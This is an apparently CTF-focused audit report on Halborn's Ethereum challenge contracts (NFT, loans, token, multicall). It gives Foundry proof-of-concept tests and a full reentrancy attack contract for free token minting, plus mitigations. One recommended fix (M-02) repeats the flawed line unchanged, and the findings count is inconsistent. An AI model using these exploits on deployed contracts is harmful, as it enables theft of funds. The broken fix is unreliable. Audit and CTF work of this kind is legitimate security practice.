

# **Halborn CTF – Ethereum | Report**

By

Iwaki Hiroto

February 21, 2024

## Table of Contents

Table of Contents .....	1
Overview .....	2
Scope .....	2
Risk Classification of Findings .....	3
Summary of Findings .....	3
Finding Details .....	3
High .....	3
[H-01] Malicious users can mint several NFT as they want with just paying ETH for only one NFT by using <code>multicall</code> function. ....	3
[H-02] Since <code>mintAirDrop</code> function doesn't update the <code>idCounter</code> , calling of <code>mintBuyWithETH</code> can fall into DoS permanently. ....	5
[H-03] Since the checking collateral of <code>getLoan</code> function is incorrect, users cannot mint Halborn ERC20 token using their collateral. On the other hand, malicious users can mint ERC20 tokens without depositing collateral. ....	6
[H-04] <code>setMerkleRoot</code> function of <code>HalbornNFT.sol</code> should be protected by a trusted role. ....	9
Medium .....	12
[M-01] Since <code>HalbornLoans.sol</code> doesn't support <code>IERC721Receiver</code> interface, Halborn NFT cannot be deposited to the <code>HalbornLoans</code> contract. ....	12
[M-02] In <code>mintAirDrop</code> function of <code>HalbornNFT.sol</code> , checking existence of token id is incorrect. ....	13

## Overview

This document describes the result of auditing for the smart contracts of Halborn CTF – Ethereum repository. The auditing progress is performed against the 4 contracts in the repository.

Project	Halborn CTF - Ethereum
Smart Contracts	<code>src/HalbornLoans.sol</code> <code>src/HalbornNFT.sol</code> <code>src/HalbornToken.sol</code> <code>src/libraries/Multicall.sol</code>
Commit SHA	<code>fc5863c</code>
Used Tools	Manual Review

## Scope

Smart Contracts	Review Status
<code>src/HalbornLoas.sol</code>	✓
<code>src/HalbornNFT.sol</code>	✓
<code>src/HalbornToken.sol</code>	✓
<code>src/libraries/Multicall.sol</code>	✓

## Risk Classification of Findings

- **High:** Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals).
- **Medium:** Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
- **Low:** Assets are not at risk: state handling, function incorrect as to spec, issues with comments.

## Summary of Findings

Severity	Count
High	5
Medium	2
Low	0
<b>Total</b>	<b>7</b>

## Finding Details

### High

[H-01] Malicious users can mint several NFT as they want with just paying ETH for only one NFT by using **multicall** function.

#### Links to Affected Code

[src/libraries/Multicall.sol#L13-L24](#)

[src/HalbornNFT.sol#L59-L67](#)

#### Vulnerability Details

Users can perform several execution of functions in `HalbornNFT.sol` in one calling by using following `multicall` functionality.

```
function multicall(
    bytes[] calldata data
) external payable returns (bytes[] memory results) {
    results = new bytes[](data.length);
    for (uint256 i = 0; i < data.length; i++) {
        results[i] = AddressUpgradeable.functionDelegateCall(
            address(this),
            data[i]
        );
    }
    return results;
}
```

Also, users can mint a Halborn NFT by paying `price` eth using `mintBuyWithETH` function.

```
function mintBuyWithETH() external payable {
    require(msg.value == price, "Invalid Price");

    unchecked {
        idCounter++;
    }

    _safeMint(msg.sender, idCounter, "");
}
```

However, malicious users can mint several NFT as they want with just paying only `price` eth by using `multicall` function.

*Following is the test function for PoC.*

```
function testMintMulticall() public {
    vm.deal(ALICE, 1 ether);

    bytes memory item = abi.encodeWithSignature("mintBuyWithETH()");
    bytes[] memory data = new bytes[](3);
    data[0] = item;
    data[1] = item;
    data[2] = item;

    vm.prank(ALICE);
    nft.multicall{value: 1 ether}(data);
}
```

```

    assertEq(ALICE, nft.ownerOf(1));
    assertEq(ALICE, nft.ownerOf(2));
    assertEq(ALICE, nft.ownerOf(3));
}

```

As you can see, Alice could mint 3 tokens with just paying only 1 eth (price is 1 eth).

**[H-02]** Since `mintAirDrop` function doesn't update the `idCounter`, calling of `mintBuyWithETH` can fall into DoS permanently.

### Links to Affected Code

[src/HalbornNFT.sol#L45-L57](#)

[src/HalbornNFT.sol#L59-L67](#)

### Vulnerability Details

`idCounter` state is used to determine the id of token which user is trying to mint by calling `mintBuyWithETH` function. Therefore, if the token that has the same id with `idCounter` is already minted, `mintBuyWithETH` will be reverted.

On the other hand, `mintAirDrop` function doesn't update the `idCounter` state after excuting. Therefore, when the user execute `mintBuyWithETH` function and the calculated `idCounter` is same with the id of already minted token in airdrop, the execution will be reverted. Moreover, since there is no other function in the contract that can update `idCounter`, the `mintBuyWithETH` function will be permanently reverted.

*Following is the test function for PoC.*

```

function testRevertMintAfterAirDrop() public {
    Merkle m = new Merkle();
    // Test Data
    bytes32[] memory data = new bytes32[](4);
    data[0] = keccak256(abi.encodePacked(ALICE, uint256(2))); // Alice can
mint token of id 2 in airdrop
    data[1] = keccak256(abi.encodePacked(BOB, uint256(5))); // Bob can mint
token of id 5 in airdrop

    // Get Merkle Root
    bytes32 root = m.getRoot(data);

```

```

// Get Proofs
bytes32[] memory ALICE_PROOF = m.getProof(data, 0);
bytes32[] memory BOB_PROOF = m.getProof(data, 1);

assertTrue(m.verifyProof(root, ALICE_PROOF, data[0]));
assertTrue(m.verifyProof(root, BOB_PROOF, data[1]));

nft.setMerkleRoot(root);

vm.deal(ALICE, 2 ether);
vm.deal(BOB, 2 ether);

vm.prank(ALICE);
nft.mintAirdrops(2, ALICE_PROOF);

assertEq(ALICE, nft.ownerOf(2));

vm.startPrank(BOB);
nft.mintBuyWithETH{value: 1 ether}();
assertEq(BOB, nft.ownerOf(1));

vm.expectRevert();
nft.mintBuyWithETH{value: 1 ether}();
vm.stopPrank();
}

```

### Recommended Mitigation

Add logic that update the `idCounter` in `mintAirDrop` function.

**[H-03]** Since the checking collateral of `getLoan` function is incorrect, users cannot mint Halborn ERC20 token using their collateral. On the other hand, malicious users can mint ERC20 tokens without depositing collateral.

### Links to Affected Code

<src/HalbornLoans.sol#L58-L65>

### Vulnerability Details

Using `getLoan` function, users can mint Halborn ERC20 token with collaterals they deposited their Halborn NFT.

However, since the checking the balance of collateral is incorrect, users cannot mint ERC20 tokens even if they deposited their NFT. On the other hand, malicious users can mint ERC20 token without depositing NFT as collateral.

```
function getLoan(uint256 amount) external {
    require(
        totalCollateral[msg.sender] - usedCollateral[msg.sender] < amount,
        "Not enough collateral"
    );
    usedCollateral[msg.sender] += amount;
    token.mintToken(msg.sender, amount);
}
```

The marked line in above codebase should be updated as follow to be correct.

```
totalCollateral[msg.sender] - usedCollateral[msg.sender] >= amount,
    "Not enough collateral"
```

In addition, `HalbornLoans.sol` contract has `returnLoan` function that allow users can receive the collateral back by burning their erc20 tokens.

```
function returnLoan(uint256 amount) external {
    require(usedCollateral[msg.sender] >= amount, "Not enough collateral");
    require(token.balanceOf(msg.sender) >= amount);
    usedCollateral[msg.sender] += amount;
    token.burnToken(msg.sender, amount);
}
```

However, `returnLoan` function updates the `usedCollateral` incorrectly. To be correct, `usedCollateral` should be decreased by `amount`.

*And following is the test function for PoC:*

```
function testIncorrectCheckingCollateralInGetLoan() public {
    vm.deal(ALICE, 1 ether);

    vm.prank(ALICE);
    nft.mintBuyWithETH{value: 1 ether}();

    assertEq(ALICE, nft.ownerOf(1), "Alice is not the owner of token 1");
}
```



```

vm.startPrank(ALICE);

nft.approve(address(loans), 1);
loans.depositNFTCollateral(1);

vm.stopPrank();

assertEq(
    address(loans),
    nft.ownerOf(1),
    "Loans contract is not the owner of token 1"
);
assertEq(loans.totalCollateral(ALICE), 2 ether);
assertEq(loans.usedCollateral(ALICE), 0);

vm.prank(ALICE);
vm.expectRevert();
loans.getLoan(1 ether);

assertEq(token.balanceOf(BOB), 0);
assertEq(loans.totalCollateral(BOB), 0);
assertEq(loans.usedCollateral(BOB), 0);
vm.prank(BOB);
loans.getLoan(10 ether);

assertEq(token.balanceOf(BOB), 10 ether);
}

```

## Recommended Mitigation

```
function getLoan(uint256 amount) external {
    require(
        totalCollateral[msg.sender] - usedCollateral[msg.sender] >= amount,
        "Not enough collateral"
    );
    usedCollateral[msg.sender] += amount;
    token.mintToken(msg.sender, amount);
}
```

```
function returnLoan(uint256 amount) external {
    require(usedCollateral[msg.sender] >= amount, "Not enough collateral");
    require(token.balanceOf(msg.sender) >= amount);
    usedCollateral[msg.sender] -= amount;
    token.burnToken(msg.sender, amount);
}
```

[H-04] **setMerkleRoot** function of **HalbornNFT.sol** should be protected by a trusted role.

### Links to Affected Code

[src/HalbornNFT.sol#L41-L43](#)

### Vulnerability Details

Since **setMerkleRoot** function of **HalbornNFT.sol** is not protected by any trusted role such as owner, anyone can update the root of merkle tree and mint Halborn NFT token using **mintAirDrops** function.

```
function setMerkleRoot(bytes32 merkleRoot_) public {
    // @audit-issue missing access restriction
    merkleRoot = merkleRoot_;
}
```

I think there is no need to describe the test for such a clear issue.

### Recommended Mitigation

```
function setMerkleRoot(bytes32 merkleRoot_) public onlyOwner {
    // @audit-issue missing access restriction
```

```
merkleRoot = merkleRoot_;
}
```

## [H-05] Reentrancy attack in HalbornLoans.

### Links to Affected Code

[src/HalbornLoans.sol#L45-L56](#)

### Vulnerability Details

When withdrawCollateral function is called, the NFT token of id would be transferred to the caller and then if the caller is a smart contract, its onERC721Receiver is called automatically. Furthermore, in withdrawCollateral function, totalCollateral is updated after transferring NFT.

```
function withdrawCollateral(uint256 id) external {
    require(
        totalCollateral[msg.sender] - usedCollateral[msg.sender] >=
            collateralPrice,
        "Collateral unavailable"
    );
    require(idsCollateral[id] == msg.sender, "ID not deposited by caller");

    @> nft.safeTransferFrom(address(this), msg.sender, id);
    @> totalCollateral[msg.sender] -= collateralPrice;
    delete idsCollateral[id];
}
```

By using this, malicious users can deployed the attacker contract and mint Halborn ERC20 tokens for free.

First, malicious user deploys the attacker contract. Following is the example of the attacker contract.

```
contract Attack {
    HalbornLoans public loan;
    HalbornNFT public nft;
    constructor(address _loanAddress, address _nftAddress) {
        loan = HalbornLoans(_loanAddress);
        nft = HalbornNFT(_nftAddress);
    }

    function attack() external payable {
```

```

        nft.approve(address(loan), 1);
        loan.depositNFTCollateral(1);
        loan.withdrawCollateral(1);
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (operator == address(loan)) {
            loan.getLoan(1 ether);
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

```

Next, he mint a new Halborn NFT token and transfers it to attacker contract.

Finally, the malicious user executes the attack function of the Attack contract.

The NFT token of the Attack contract would be withdrawn as soon as be deposited to HalbornLoans contract. Between them, the onERC721Received function of Attack contract is called automatically and getLoan function is called. Since the totalCollateral is not updated yet, the Attack contract can mint Halborn ERC20 tokens for free.

### Recommended Mitigation

Use reentrancy guard for depositing, withdrawing collateral and move the codeline that updates the totalCollateral to above of transferring NFT.

```

function withdrawCollateral(uint256 id) external {
    require(
        totalCollateral[msg.sender] - usedCollateral[msg.sender] >=
            collateralPrice,
        "Collateral unavailable"
    );
    require(idsCollateral[id] == msg.sender, "ID not deposited by caller");

+   totalCollateral[msg.sender] -= collateralPrice;
    nft.safeTransferFrom(address(this), msg.sender, id);
-   totalCollateral[msg.sender] -= collateralPrice;
}

```

```

    delete idsCollateral[id];
}

```

## Medium

[M-01] Since **HalbornLoans.sol** doesn't support **IERC721Receiver** interface, Halborn NFT cannot be deposited to the **HalbornLoans** contract.

### Links to Affected Code

[src/HalbornLoans.sol#L11](#)

### Vulnerability Details

To **HalbornLoans** contract received the deposited NFT from users as their collateral, it should support **IERC721Receiver** interface. However, the contract doesn't support the interface so that it will be reverted when users try to transfer their NFT token to deposit.

### Recommended Mitigation

To execute other test, I updated the HalbornLoans contract as follow.

```

import {IERC721Receiver} from "../interface/IERC721Receiver.sol";

contract HalbornLoans is
    Initializable,
    UUPSUpgradeable,
    MulticallUpgradeable,
    IERC721Receiver
{
    ...

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

```

}

[M-02] In `mintAirDrop` function of `HalbornNFT.sol`, checking existence of token id is incorrect.

### Links to Affected Code

[src/HalbornNFT.sol#L46](#)

### Vulnerability Details

In `mintAirDrop` function of `HalbornNFT.sol`, checking existence of token id is incorrect.

```
function mintAirdrops(uint256 id, bytes32[] calldata merkleProof) external {
    require(!_exists(id), "Token already minted"); // @audit-issue

    bytes32 node = keccak256(abi.encodePacked(msg.sender, id));
    bool isValidProof = MerkleProofUpgradeable.verifyCalldata(
        merkleProof,
        merkleRoot,
        node
    );
    require(isValidProof, "Invalid proof.");

    _safeMint(msg.sender, id, "");
}
```

### Recommended Mitigation

To be correct, it should be updated as follow.

```
require(!_exists(id), "Token already minted"); // @audit-issue
```